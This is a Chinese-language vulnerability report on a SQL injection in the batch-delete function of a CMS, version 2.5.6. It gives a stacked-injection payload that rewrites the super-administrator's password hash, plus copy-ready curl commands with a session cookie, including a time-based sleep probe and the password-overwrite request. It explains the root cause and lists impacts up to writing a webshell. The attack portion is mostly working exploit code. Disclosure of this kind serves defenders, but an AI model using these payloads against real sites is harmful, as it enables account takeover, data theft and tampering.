漏洞版本:2.5.6(其他暂未测试,疑似均有)
漏洞范围:后端的批量删除功能(其他暂未测试,预估对于后台用deleteAll()函数的地方均有影响)
漏洞复现:
复现环境:压缩包解压复制到根目录,按照官网正常复现安装操作,mysql数据库正常安装,保持默认安装完后的环境,安装完成后需设置一个超级管理员账号(默认账号即可),和一个普通管理员(设置权限均默认操作),普通管理员用来验证sql注入

利用场景之一:普通管理员利用sql注入修改超级管理员密码
接下来实际操作,开启抓包功能(如果不理解抓包功能可跳到curl命令复现)
点击批量删除功能抓包

修改数据包如下,无需真删,可以把id改成0
data=0);update jz_level set pass=0x6130376236373531643264396662336133613834383861303330633639656336 where id=1-- -
[!NOTE]
推荐把原始请求Content-Length:删掉避免影响操作
payload解析:利用)闭合,再通过;实现堆叠注入,jz_level为表,pass为(md5(md5(密码) + ‘YF’))的hex编码,此密码为123456,直接存储密码会有问题,所以要加密放,这两个可根据实际情况修改

响应包,此时已经更改密码成功

登录数据库id为1的管理员账号,发现已经修改了密码
curl复现(直接复制到window命令行即可)
cookie值可以从浏览器获得,域名请填写自己的,data=文章id数字,其他无需更改(timeout仅为方便看延时,可无)(另外请大佬不要用我的语句黑我,谢谢)

延时验证,如果不明显请增加延时时长(请注意,因为是批量删除功能,且sql注入语句用的是and语句,如果data的语句的id文章不存在,and将无法执行,所以请确保对存在的文章删除,如果用or语句,将会调用过多,导致延迟时间过长)
正常操作:
curl -X POST "http://test.23882.me/index.php/admins/Article/deleteAll.html" -H "Cookie: PHPSESSID=vp75q646flfg6no56i42k9kk9i" -H "X-Requested-With: XMLHttpRequest" --data "data=2" -w "\ntimeout: %{time_total}s\n"
延时操作:
curl -X POST "http://test.23882.me/index.php/admins/Article/deleteAll.html" -H "Cookie: PHPSESSID=vp75q646flfg6no56i42k9kk9i" -H "X-Requested-With: XMLHttpRequest" --data "data=3)%20and%20sleep(5)--%20-" -w "\ntimeout: %{time_total}s\n"

修改超级管理员密码验证
[!NOTE]
payload解析:利用)闭合,再通过;实现堆叠注入,jz_level为表,pass为(md5(md5(密码) + ‘YF’))的hex编码,此密码为12345678,直接存储密码会有问题,所以要加密放,这两个可根据实际情况修改
curl -X POST "http://test.23882.me/index.php/admins/Article/deleteAll.html" -H "Cookie: PHPSESSID=vp75q646flfg6no56i42k9kk9i" -H "X-Requested-With: XMLHttpRequest" --data "data=5);update%20jz_level%20set%20pass=0x6564653461376536386663386430613765363032623862626530643234636466%20where%20id=1--%20-"
无返回数据包,执行完后直接尝试登录即可
漏洞成因:
ArticleController.php第605行:id in() 是整数上下文,不需要引号包裹,addslashes() 转义单引号无效。可直接闭合括号并注入任意SQL,PDO支持堆叠查询,可执行UPDATE/INSERT等操作。
漏洞危害
- 权限提升 - 普通管理员可修改超级管理员密码,接管最高权限
- 数据泄露 - 通过时间盲注可逐字符爆破数据库内容
- 数据篡改 - 堆叠注入可执行UPDATE/INSERT/DELETE,任意修改数据
- getshell风险 - 若MySQL有FILE权限,可写入webshell
危害等级估计:高危

Comments NOTHING